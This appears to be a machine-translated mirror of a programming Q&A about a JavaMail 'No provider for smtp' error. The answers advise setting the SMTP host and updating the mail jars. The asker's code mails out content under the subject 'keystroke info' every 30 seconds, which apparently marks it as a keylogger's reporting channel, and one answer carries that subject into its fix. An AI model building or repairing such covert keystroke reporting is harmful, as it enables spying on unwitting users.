繁体   English   中英

通过 gmail 发送电子邮件时出现 Java smtp 错误

[英]Java smtp error when sending email through gmail

基本上,我通过 Eclipse 创建了一个可运行的 jar 文件,它应该每 30 秒向我发送一封电子邮件。 该代码在 Eclipse 中运行时运行良好,但在创建 jar 文件并运行 jar 文件后,它给了我这个错误。

javax.mail.NoSuchProviderException: No provider for smtp
    at javax.mail.Session.getProvider(Session.java:460)
    at javax.mail.Session.getTransport(Session.java:655)
    at javax.mail.Session.getTransport(Session.java:636)
    at handlers.Sender.Send(Sender.java:89)
    at handlers.Sender.Send(Sender.java:34)
    at handlers.ManageService.run(ManageService.java:29)
    at java.lang.Thread.run(Unknown Source)

我在此页面上尝试了一些解决方案使用 java 发送电子邮件,但无法正常工作。 我错过了什么或其他人有任何其他解决方案吗?

package handlers;

import java.util.Properties;

import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class Sender {
    private Sender() {

    }

    private static final String SENDERS_GMAIL = "EMAIL";
    private static final String SENDERS_PASSWORD = "PASS";

    private static final String RECIEVERS_EMAIL = "EMAIL";

    private static Properties mailServerProperties;
    private static Session mailSess;
    private static MimeMessage mailMessage;

    public static void sendMail(String emailBody) throws Throwable {
        mailServerProperties = System.getProperties();
        mailServerProperties.put("mail.smtp.port", "587");
        mailServerProperties.put("mail.smtp.auth", "true");
        mailServerProperties.put("mail.smtp.starttls.enable", "true");

        mailSess = Session.getDefaultInstance(mailServerProperties);
        mailMessage = new MimeMessage(mailSess);
        mailMessage.addRecipient(RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        mailMessage.setSubject("keystroke info");
        mailMessage.setContent(emailBody, "text/html");


        Transport transport = mailSess.getTransport("smtp");
        transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
        transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
        transport.close();
}

}

请使用以下链接更新您的 jar 文件并将最新稳定版本的 JavaMail jar 文件放入您的项目中:

https://mvnrepository.com/artifact/javax.mail/mail

然后你应该添加SMTP host ,似乎你忘记了你的代码:

props.put("mail.smtp.host", "smtp.gmail.com");

试试这个代码:

    final String username = "username@gmail.com";
    final String password = "password";

    Properties props = new Properties();
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
      new javax.mail.Authenticator() {
        protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication(username, password);
        }
      });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress("from-email@gmail.com"));
        message.addRecipient(Message.RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        message.setSubject("keystroke info");
        message.setText("Email body text message");

        Transport.send(message);

        System.out.println("Done");

    } catch (MessagingException e) {
        throw new RuntimeException(e);
    }

不得不在https://javaee.github.io/javamail/更新我的库。

我只是更新了mailapi,但注意到它不包含任何协议。 我需要更新协议的 smtp.jar。

感谢大家的帮助!

下载 smtp.jar https://mvnrepository.com/artifact/com.sun.mail/smtp/1.4.5专门解决您的问题并将其添加到您的项目中。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM